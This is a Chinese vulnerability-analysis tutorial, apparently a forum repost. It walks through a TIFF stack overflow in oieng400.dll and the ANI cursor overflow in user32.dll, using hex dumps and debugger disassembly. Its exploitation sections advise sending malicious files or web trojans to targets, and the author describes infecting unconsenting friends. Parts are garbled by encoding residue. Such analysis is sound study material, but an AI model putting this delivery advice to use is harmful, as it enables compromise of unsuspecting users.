00003ea0h:?03?00?01?00?00?00?80?02?00?00??01?01?03?00?01?00?;?......€.........
00003eb0h:?00?00?00?02?00?00??02?01?03?00?FF?00?00?00?DA?3B?;?.............?
00003ec0h:?00?00??03?01?03?00?01?00?00?00?05?00?00?00??06?01?;?................
00003ed0h:?03?00?01?00?00?00?02?00?00?00??11?01?04?00?56?00?;?..............V.
00003ee0h:?00?00?38?3D?00?00??15?01?03?00?01?00?00?00?03?00?;?..8=............
00003ef0h:?00?00??16?01?04?00?01?00?00?00?06?00?00?00??17?01?;?................
00003f00h:?04?00?56?00?00?00?E0?3B?00?00??1A?01?05?00?01?00?;?..V...?........
00003f10h:?00?00?CA?3B?00?00??1B?01?05?00?01?00?00?00?D2?3B?;?..?..........?
00003f20h:?00?00??1C?01?03?00?01?00?00?00?01?00?00?00??28?01?;?..............(.
00003f30h:?03?00?01?00?00?00?02?00?00?00??3D?01?03?00?01?00?;?..........=.....
00003f40h:?00?00?01?00?00?00??0?0?00?00?00???????????????????;?..........
??其中大頭的0F?00表示這個IFD中有15個DE,每個DE含有12個字節(jié),我在上面把他們隔開了。為了讓大家對這個15個DE有更清楚的了解,我把他們按照含義列成一個表,如下所示:
序號??標記Tag??類型Type??值個數(shù)Count??值獲偏移量Value/Offset
0??00FE??0004??0000?0001??0000?0000
1??0100??0003??0000?0001??0000?0280
2??0101??0003??0000?0001??0000?0200
3??0102??0003??0000?00FF??0000?3BDA
4??0103??0003??0000?0001??0000?0005
5??0106??0003??0000?0001??0000?0002
6??0111??0004??0000?0056??0000?3D38
7??0115??0003??0000?0001??0000?0003
8??0116??0004??0000?0001??0000?0006
9??0117??0004??0000?0056??0000?3BE0
10??011A??0005??0000?0001??0000?3BCA
11??011B??0005??0000?0001??0000?3BD2
12??011C??0003??0000?0001??0000?0001
13??0128??0003??0000?0001??0000?0002
14??013D??0003??0000?0001??0000?0001
??在這15個DE中,最值得關注的是第4個,也就是上面用黑底綠字標出的一行,這個DE告訴我們,它的數(shù)值個數(shù)有0000?00FF個,也就是255個;數(shù)值類型均是SHORT(0003),16位,占兩個字節(jié);這255個數(shù)值在文件中的偏移量是0000?3BDA。以我的直覺來看,我認為這255個數(shù)值就是最后造成棧溢出的直接兇手,可能就是在程序中處理這255個數(shù)值時,經(jīng)這個數(shù)值讀入某函數(shù)的局部變量(可能是個數(shù)組)時,由于開辟的數(shù)組元素數(shù)有限,而且沒有比較255這個數(shù)和開辟的數(shù)組元素個數(shù)的大小關系,就開始讀入,最終導致了緩沖區(qū)溢出的發(fā)生?!@也只是我的合理預測和猜想,到底是不是如我所說,需要跟蹤調(diào)試才能證明。下面我們就用OllyDBG來調(diào)試一把。
??由于程序控制的EIP最終為0c0c0c0c,如果不修改一下的話,跟蹤調(diào)試的時候,調(diào)試器是不會停下來的,那么很簡單,直接把0c0c0c0c改為FFFFFFFF即可,這樣調(diào)試器會發(fā)現(xiàn)程序在執(zhí)行非法內(nèi)存地址的指令,就會停下來。停下來后,你可以去檢查棧中的蛛絲馬跡。根據(jù)函數(shù)調(diào)用的原理,我們可以知道覆蓋EIP為FFFFFFFF前執(zhí)行的指令應該是RET指令,在這個指令執(zhí)行前一定有一個函數(shù)被調(diào)用,而這個函數(shù)也很有可能就是最終發(fā)生溢出的函數(shù),那么在ESP指向的??臻g的上部一定有一些返回地址,那么我們可以把幾個可以的返回地址記下來,然后在下一次程序加載了這個地址所屬的dll文件或exe文件時攔截,并把斷點下到剛才記錄下來的地址緊鄰的前一條指令處,那么一旦斷下來,有兩種境況,第一種情況是,棧還未被覆蓋,說明溢出還沒有發(fā)生,那么只要單步跟蹤仔細調(diào)試,就可以跟到發(fā)生溢出的那行代碼;第二種境況是,棧已經(jīng)被覆蓋了,那說明記錄下來的幾個可疑地址是不正確的,根本就沒有在這些函數(shù)內(nèi)部發(fā)生溢出,這就需要在剛才發(fā)生了溢出后的棧中繼續(xù)前溯,一定會在溢出之前斷下程序,因為無論如何程序在溢出之前一定調(diào)用過某個程序。而這個程序的返回地址會保存在棧中。
??我用這種辦法,首先發(fā)現(xiàn)了兩個可疑地址:oieng400.dll?文件中的690B?3F71和690B?3163,最后發(fā)現(xiàn)斷到690B?3163時還尚未發(fā)生溢出,那么我就F7跟進去,最終通過單步調(diào)試的方法,終于找到了溢出發(fā)生的函數(shù)。原來是在MSVCRT.dll下的read()函數(shù)中溢出的。
??為什么會在這個read()函數(shù)中溢出呢?我們首先來看看read()函數(shù)的定義:
_read()讀文件函數(shù)?
原形:int?_read(handle,buffer,count)?
int?handle;//文件句柄?
void?*buffer;//存放讀出數(shù)據(jù)的緩沖區(qū)?
unsigned?count;//一次讀出的字節(jié)數(shù)?
功能:從由handle指定的文件中讀取由count指定字節(jié)數(shù)的數(shù)據(jù)到buffer?
返回值:0-0xfffe(實際讀出的字節(jié)數(shù));-1(錯誤)
??再來看看給read()函數(shù)傳入的三個參數(shù)是什么,其中handle是一個句柄,就是前面那個畸形文件的句柄;buf是一個內(nèi)存地址,指向了棧空間的一個內(nèi)存單元;len=1FE=FF×2。結合前面的分析,連起來就是說,這里調(diào)用read()函數(shù)的目的是要把前面那255個2字節(jié)數(shù)值全部復制到內(nèi)部某個變量中。而且在調(diào)用read()函數(shù)之前并沒有做任何長度上的檢查,因此這是一定能導致溢出的,因為內(nèi)部變量的空間是有限的,而文件中存儲的數(shù)值個數(shù)卻是不確定的。我想到此,本漏洞導致的根本原因已經(jīng)找到了,就是未檢查文件DE指定的數(shù)值個數(shù)和長度就開始往內(nèi)部變量中寫入,最終覆蓋了previous?EBP和返回地址,導致發(fā)生棧溢出。下面這個截圖可以看到返回地址被覆蓋的效果:
漏洞利用
??這個漏洞非常類似于我今年5月份寫的的那個嚴重的微軟漏洞——ANI文件處理漏洞。這里又多一個TIFF文件處理漏洞,看來圖像格式文件的處理漏洞還是挺多的,也挺好挖掘的,只要掌握了文件格式的規(guī)范就可以開始fuzz了。
??對于這個TIFF文件處理漏洞的利用,非常簡單,你可以用milw0rm上公布的第一個exploit,改進自己的shellcode,然后用vc6編譯生成畸形的、惡意的tif文件,然后通過郵件,聊天工具等軟件發(fā)送給目標用戶,只要他是Win2K操作系統(tǒng),敢打開這個文件所在的目錄,那就直接中招了。
??當然還可以用本文中的exploit,也就是milw0rm上公布的第二個exploit,改進自己的shellcode,然后用ActivePerl運行那個perl程序,就可以生成一對文件——畸形tif文件和網(wǎng)頁木馬。掛在網(wǎng)站上,等Win2K的目標機器來上鉤。如下圖,是我在本地的測試效果:
總結
??回顧本漏洞的重現(xiàn)過程和分析過程,我們首先學習了TIFF文件格式的一些基本規(guī)范,由于利用程序中沒有詳細的注釋為什么那樣構造畸形文件,因此我們需要掌握一定的文件格式規(guī)范。接著我們結合利用程序?qū)ζ渖傻幕蝨iff文件,根據(jù)格式規(guī)范來分析,發(fā)現(xiàn)在第一個IFD中的第4個DE有一定的可疑,該DE指定了數(shù)值類型為16位的無符號整數(shù),一共指定了連續(xù)的FF個這樣的數(shù)值。最終通過跟蹤調(diào)試的方法,定位到了棧溢出發(fā)生的函數(shù)——read()函數(shù),這是微軟下的c標準運行庫中的一個函數(shù),功能是從由handle指定的文件中讀取由count指定字節(jié)數(shù)的數(shù)據(jù)到buffer。而在對tiff文件做處理的oieng400.dll文件中調(diào)用read()函數(shù)時,傳入的buffer竟然是內(nèi)部變量,而且從文件中讀取并寫入這個內(nèi)部變量前沒有做任何的檢查操作。這就是導致漏洞發(fā)生的根本原因。
?
============================================================================
第9講 案例_微軟ANI光標文件漏洞徹底分析利用
漏洞概述
? ? ? ? 2007年3月30日,ph4nt0m和milw0rm先后公布了今年目前為止危害性最大的windows漏洞——user32.dll的ANI文件處理漏洞。我寫這篇文章已是漏洞爆出的第5天了,事實上,30號公布的漏洞,30號晚上利用這個漏洞的網(wǎng)馬生成器已經(jīng)在網(wǎng)上散播了,而且微軟遲遲沒有發(fā)布相關補丁。這給利用這個漏洞的病毒、蠕蟲、木馬、惡意軟件等,一個很難得的機會。漏洞就像一把鑰匙,打開了它們侵入互聯(lián)網(wǎng)的大門。
? ? ? ? 雖然eEye推出了一款非官方的補丁,可以攔截一部分遠程攻擊、網(wǎng)絡木馬,但是4月1日,milw0rm上又公布了一個能夠繞過eEye補丁的exploit??磥碛质且粓龌ヂ?lián)網(wǎng)血雨腥風的到來!
? ? ? ??
漏洞分析
? ? ? ? 既然這個漏洞是和ANI文件有關的,那么我們在分析漏洞之前,首先需要對ANI文件格式有一定的了解。關于ANI文件格式的詳細說明請讀者參閱光盤中的附件。
ANI(APPlicedon Startins Hour Glass)文件是MS Windows的動畫光標文件,可以作為鼠標指針,其文件擴展名為“.ani”。ANI文件由“塊”(chunk)構成。它一般由五部分構成:標志區(qū)、文字說明區(qū)、信息區(qū)、時間控制區(qū)和數(shù)據(jù)區(qū),即RIFF—ACON,LIST—INFO,anih,rate,LIST—fram。ANI文件在播放時所形成的動畫效果,其實就是一張張的光標或圖標圖像按一定的順序繪制到屏幕上,并保留指定的時間(見時間控制區(qū)說明)依序循環(huán)顯示的結果。一個ANI文件的開頭12個字節(jié)中,頭4個字節(jié)為RIFF,后4個字節(jié)為ACON,中間4個字節(jié)是該ANI文件的長度(字節(jié)數(shù))。有了RIFF和ACON,就可斷定該文件是一個ANI文件,也就是說,ACON是一個動畫光標文件的標志。
在一個ANI文件中,必須有的塊標識有以下幾個:
?? ? ? ? RIFF—多媒體文件識別碼
?? ? ? ? ACON—ANI文件識別碼
?? ? ? ? anih—ANI文件信息區(qū)識別碼
?? ? ? ? LIST—LIST列表形式(窗體形式fccType=“fram”)
?? ? ? ? icon—icon識別碼
在一個ANI文件中,還可能有以下幾個塊標識中的一個或多個:
?? ? ? ? INAM—ANI文件標題區(qū)識別碼
?? ? ? ? IART—ANI文件說明信息區(qū)識別碼
?? ? ? ? rate—ANI文件時間控制數(shù)據(jù)區(qū)識別碼
?? ? ? ? seq —ANI文件圖像顯示幀順序控制區(qū)識別碼
這些塊之間的邏輯層次關系可以如下表示:
"RIFF" {Length of File}
? ? "ACON"
? ?? ???"LIST" {Length of List}
? ?? ?? ?? ?"INAM" {Length of Title} {Data}
? ?? ?? ?? ?"IART" {Length of Author} {Data}
? ?? ???"fram"
? ?? ?? ?? ?"icon" {Length of Icon} {Data}? ?? ?; 1st in list
? ?? ?? ?? ?...
? ?? ?? ?? ?"icon" {Length of Icon} {Data}? ?? ?; Last in list??(1 to cFrames)
? ? "anih" {Length of ANI header (36 bytes)} {Data}? ?; (see ANI Header TypeDef )
? ? "rate" {Length of rate block} {Data}? ?? ?; ea. rate is a long (length is 1 to cSteps)
? ? "seq " {Length of sequence block} {Data} ; ea. seq is a long (length is 1 to cSteps)
-END-
? ? ? ? 以上僅是對ANI文件格式的結論性描述,要完全明白這些塊的作用和意義,以及塊與塊之間的邏輯關系,確實需要下一番功夫。另外僅研讀我給的資料是完全不夠的,一定會有理解起來模糊的地方,因此還需要動手做實驗,自己跟蹤user32.dll對ANI文件的處理過程,從實驗中得到結論。這樣做有兩個好處,一是可以更加深刻的理解漏洞的根源;二是由此可以啟發(fā)新漏洞的挖掘思想。
? ? ? ? 如果你對ANI文件格式已有一定了解,那我們就可以開始分析造成最終user32.dll棧溢出的這個畸形.ani文件了,為了理解,我把這個ANI文件(exp.ani)用十六進制的方式打開,并示意如下:
? ? ? ? 這是一個精心構造的1k大小的.ani文件(在XP SP2全補丁下測試通過),其各個部分解釋如下表所示:
偏移地址? ? ? ? 內(nèi)容? ? ? ? 含義? ? ? ? 塊
0000-0003h? ? ? ? “RIFF”? ? ? ? 多媒體文件識別碼? ? ? ? RIFF
0004-0007h? ? ? ? 0000 0400h? ? ? ? 文件大小(1k)? ? ? ??
0008-000Bh? ? ? ? “ACON”? ? ? ? ANI文件識別碼ACON? ? ? ??
000C-000Fh? ? ? ? “anih”? ? ? ? anih識別碼(ckID),信息區(qū)開始的標志? ? ? ? anih
0010-0013h? ? ? ? 0000 0024h? ? ? ? anih塊的大小(ckSize,36個字節(jié))? ? ? ??
0014-0037h? ? ? ? ? ? ? ? anih塊內(nèi)容? ? ? ??
0038-003Bh? ? ? ? “LIST”? ? ? ? LIST識別碼,數(shù)據(jù)區(qū)開始的標志? ? ? ? LIST
003C-003Fh? ? ? ? 0000 0003? ? ? ? LIST塊的大小(3個字節(jié))? ? ? ??
0040-0043h? ? ? ? ? ? ? ? LIST塊內(nèi)容? ? ? ??
0044-0047h? ? ? ? “LIST”? ? ? ? LIST識別碼,數(shù)據(jù)區(qū)開始的標志? ? ? ? LIST
0048-004Bh? ? ? ? 0000 0003? ? ? ? LIST塊的大小(3個字節(jié))? ? ? ??
004C-004Fh? ? ? ? ? ? ? ? LIST塊內(nèi)容? ? ? ??
0050-0053h? ? ? ? “anih”? ? ? ? anih識別碼(ckID),信息區(qū)開始的標志? ? ? ? anih
0054-0057h? ? ? ? 0000 03A8h? ? ? ? anih塊的大小(ckSize,936個字節(jié))? ? ? ??
0058-03F0h? ? ? ? ? ? ? ? anih塊內(nèi)容? ? ? ??
? ? ? ? 為什么這個文件能使user32.dll棧溢出?據(jù)我分析,是因為user32.dll對這個.ani文件中的第二個anih塊處理時,未對這個塊的長度進行檢查,最終導致棧溢出,控制了程序的EIP。通常來說任何一個正常的anih塊的長度應該是36個字節(jié),為什么這樣說呢?因為anih塊內(nèi)容是有自己的數(shù)據(jù)結構的,用一個結構體來表示:
typedef DWORD JIF,*PJIF;
typedef struct tagANIHEADER{
? ? ? ? DWORD? ? ? ? cbSizeof;? ? ? ? ? ? ? ? ? ? ? ? //數(shù)據(jù)塊大小,應該是36字節(jié)
? ? ? ? DWORD? ? ? ? cFrames;? ? ? ? ? ? ? ? ? ? ? ? //ANI文件保存的圖象楨數(shù)
? ? ? ? DWORD? ? ? ? cSteps;? ? ? ? ? ? ? ? ? ? ? ? //完成一次動畫過程要顯示的圖象數(shù)
? ? ? ? DWORD? ? ? ? cx;? ? ? ? ? ? ? ? ? ? ? ? //圖象寬度
? ? ? ? DWORD? ? ? ? cy;? ? ? ? ? ? ? ? ? ? ? ? //圖象高度
? ? ? ? DWORD? ? ? ? cBitCount;? ? ? ? ? ? ? ? ? ? ? ? //顏色位數(shù)
? ? ? ? DWORD? ? ? ? cPlanes;? ? ? ? ? ? ? ? ? ? ? ? //顏色位面數(shù)
? ? ? ? JIF? ? ? ? jifRate;? ? ? ? ? ? ? ? ? ? ? ? //JIF速率
? ? ? ? DWORD? ? ? ? fl;? ? ? ? ? ? ? ? ? ? ? ? //AF_ICON/AF_SEQUENCE設置標記
}ANIHEADER,*PANIHEADER;
? ? ? ? 可見,這個anih塊內(nèi)容是一個9個雙字的結構體,所以說它的長度應該是9×4=36字節(jié)。然而這個畸形的.ani文件中第二個anih塊內(nèi)容的長度偏偏不為36字節(jié),而是936個字節(jié),若程序中把這個塊的內(nèi)容復制到棧中,你說這能不溢出嗎?
? ? ? ? 下面我們用ollyDBG跟蹤一下這個溢出過程,看看根本原因是不是如上所說。
? ? ? ?? ?//user32.dll中的ReadChunk(x,x,x)函數(shù)
77D53AC7? ?8BFF? ?? ?? ?? ? MOV EDI,EDI
77D53AC9? ?55? ?? ?? ?? ?? ?PUSH EBP
77D53ACA? ?8BEC? ?? ?? ?? ? MOV EBP,ESP
77D53ACC? ?56? ?? ?? ?? ?? ?PUSH ESI
77D53ACD? ?8B75 08? ?? ?? ? MOV ESI,DWORD PTR SS:[EBP+8]
77D53AD0? ?57? ?? ?? ?? ?? ?PUSH EDI
77D53AD1? ?8B7D 0C? ?? ?? ? MOV EDI,DWORD PTR SS:[EBP+C]
77D53AD4? ?FF77 04? ?? ?? ? PUSH DWORD PTR DS:[EDI+4] ? ? ? ? ;anih塊內(nèi)容的長度
77D53AD7? ?FF75 10? ?? ?? ? PUSH DWORD PTR SS:[EBP+10]
77D53ADA? ?56? ?? ?? ?? ?? ?PUSH ESI
77D53ADB? ?E8 7AFFFFFF? ?? ?CALL USER32.77D53A5A? ? ? ? ;調(diào)用ReadFileCopy函數(shù)
77D53AE0? ?85C0? ?? ?? ?? ? TEST EAX,EAX
//user32.dll中的ReadFileCopy(x,x,x)函數(shù)
77D53A5A? ?8BFF? ?? ?? ?? ? MOV EDI,EDI
77D53A5C? ?55? ?? ?? ?? ?? ?PUSH EBP
77D53A5D? ?8BEC? ?? ?? ?? ? MOV EBP,ESP
77D53A5F? ?8B45 08? ?? ?? ? MOV EAX,DWORD PTR SS:[EBP+8]
77D53A62? ?8B55 10? ?? ?? ? MOV EDX,DWORD PTR SS:[EBP+10]
77D53A65? ?56? ?? ?? ?? ?? ?PUSH ESI
77D53A66? ?8B70 04? ?? ?? ? MOV ESI,DWORD PTR DS:[EAX+4]? ? ? ? ;讓ESI指向堆中的anih塊內(nèi)容
77D53A69? ?8D0C16? ?? ?? ???LEA ECX,DWORD PTR DS:[ESI+EDX]
77D53A6C? ?3BCE? ?? ?? ?? ? CMP ECX,ESI
77D53A6E? ?72 28? ?? ?? ?? ?JB SHORT USER32.77D53A98
77D53A70? ?3BCA? ?? ?? ?? ? CMP ECX,EDX
77D53A72? ?72 24? ?? ?? ?? ?JB SHORT USER32.77D53A98
77D53A74? ?3B48 08? ?? ?? ? CMP ECX,DWORD PTR DS:[EAX+8]
77D53A77? ?77 1F? ?? ?? ?? ?JA SHORT USER32.77D53A98
77D53A79? ?53? ?? ?? ?? ?? ?PUSH EBX
77D53A7A? ?57? ?? ?? ?? ?? ?PUSH EDI
77D53A7B? ?8B7D 0C? ?? ?? ? MOV EDI,DWORD PTR SS:[EBP+C]? ? ? ? ;讓EDI指向棧幀中的一個內(nèi)存單元
77D53A7E? ?8BCA? ?? ?? ?? ? MOV ECX,EDX
77D53A80? ?8BD9? ?? ?? ?? ? MOV EBX,ECX
77D53A82? ?C1E9 02? ?? ?? ? SHR ECX,2? ? ? ? ; 讓ECX為.ani文件中第二個anih塊的塊內(nèi)容大小的1/4
;一次復制一個雙字,所以下面REP指令的循環(huán)次數(shù)應該為字節(jié)數(shù)的四分之一
77D53A85? ?F3:A5? ?? ?? ?? ?REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
77D53A87? ?8BCB? ?? ?? ?? ? MOV ECX,EBX
77D53A89? ?83E1 03? ?? ?? ? AND ECX,3
77D53A8C? ?F3:A4? ?? ?? ?? ?REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
77D53A8E? ?0150 04? ?? ?? ? ADD DWORD PTR DS:[EAX+4],EDX
77D53A91? ?33C0? ?? ?? ?? ? XOR EAX,EAX
77D53A93? ?5F? ?? ?? ?? ?? ?POP EDI
77D53A94? ?40? ?? ?? ?? ?? ?INC EAX
77D53A95? ?5B? ?? ?? ?? ?? ?POP EBX
77D53A96? ?EB 02? ?? ?? ?? ?JMP SHORT USER32.77D53A9A
77D53A98? ?33C0? ?? ?? ?? ? XOR EAX,EAX
77D53A9A? ?5E? ?? ?? ?? ?? ?POP ESI
77D53A9B? ?5D? ?? ?? ?? ?? ?POP EBP
77D53A9C? ?C2 0C00? ?? ?? ? RETN 0C
? ? ? ? 上面是對溢出過程的動態(tài)跟蹤分析,如果用IDA進行靜態(tài)分析同樣也會得到上面的提到的漏洞原因,這里不再贅述!
漏洞利用
? ? ? ? 提到利用,大家就笑了!想想多少東西在使用user32.dll啊?!
首當其沖的就是IE了,IE6,IE7已被測試通過,全部中招,也就是說寫個網(wǎng)絡木馬是很容易了,只要有人敢上你的網(wǎng)站,那說都不說了,想干啥就干啥嘍!
? ? ? ? 其次,Windows的Explorer在打開這個.ani文件所在的目錄時也會調(diào)用user32.dll中的LoadAniIcon函數(shù),從而觸發(fā)溢出。因此電子郵件、QQ、ftp、U盤等都可以用來傳播利用這個漏洞的病毒、蠕蟲、木馬、惡意軟件。
? ? ? ? 另外,還可以利用一些使用user32.dll中LoadAniIcon函數(shù)的軟件,用這些軟件打開這些畸形.ani文件,同樣也會中招。譬如,WinHex、IrfanView、Firework、Photoshop等。
? ? ? ? 本文主要演示網(wǎng)絡木馬生成和一次成功的攻擊過程。
? ? ? ? 網(wǎng)上已經(jīng)流傳了很多木馬生成器,使用很簡單,輸入網(wǎng)頁木馬遠程存放地址和木馬程序存放地址即可。
? ??
? ? ? ? 我使用了我的IP地址(202.117.7.209)作為測試,然后啟動web服務(IIS5.1),把生成的那三個文件(index.htm,z1.jpg,z2.jpg),還有木馬程序(a.exe)放到web跟目錄下。
? ? ? ? 然后把鏈接(http://202.117.7.209)給幾個朋友,發(fā)現(xiàn)他們?nèi)恐姓辛?#xff0c;哈哈,好在我沒有下毒手,那個木馬程序僅僅是彈出個框框而已!
漏洞防范
? ? ? ? 這個漏洞危害這么大,不防不行啊,廣大網(wǎng)民豈不是要遭殃啊!因為我寫這篇文章時還沒有微軟的官方補丁,首推的防范措施是下載eEye的非官方補丁,補丁已放在光盤附件中。
? ? ? ? 另外如果你的C盤是NTFS格式的,那么還可以使用如下措施:
1.? ? ? ? “開始”菜單“運行”里輸入"gpedit.msc"
2.? ? ? ? 然后在“本地計算機”策略 => 用戶配置 => 管理模板 => 系統(tǒng) => 停止命令提示符? ?
設置為“啟用”
3.? ? ? ? 把“他停用命令提示符腳本處理嗎”選為“是”,再按確定!
4.? ? ? ? C:\Documents and Settings\xxxxxx\Local Settings目錄的權限設置為不能運行! xxxxxx是你的用戶名
總結
? ? ? ? 這個漏洞的根本原因是,user32.dll中的ReadChunk()函數(shù)未對.ani文件中的anih塊內(nèi)容長度進行檢查,就直接調(diào)用ReadFilePtrCopy()函數(shù)把堆中的anih塊內(nèi)容復制到棧幀中。
無論利用這個漏洞的病毒、蠕蟲、木馬、惡意軟件、網(wǎng)馬對互聯(lián)網(wǎng)的沖擊有多大,我們都有理由相信,互聯(lián)網(wǎng)及我們的PC能頂過這07年的第一次危機!
? ? ? ? 值得一提的是,如果您是搞漏洞挖掘方面的,通過這次uesr32.dll爆出的漏洞,您是否體會到漏洞的真正含義呢?不光是那些一般水平程序員寫的程序容易出問題,爆漏洞;事實上,高級程序員也會有考慮不周的時候。因此漏洞是一個很微妙的東西,不是說編程經(jīng)驗豐富、實現(xiàn)能力強的程序員寫的程序就不會有漏洞,任何程序員只要編程時考慮不周,都有可能爆出漏洞!本漏洞就是一個很好的例子。
?
轉(zhuǎn)自:https://bbs.pediy.com/thread-56445.htm
總結
- 上一篇: DOSbox汇编集成环境下的具体设置
- 下一篇: [Leedcode][JAVA][第15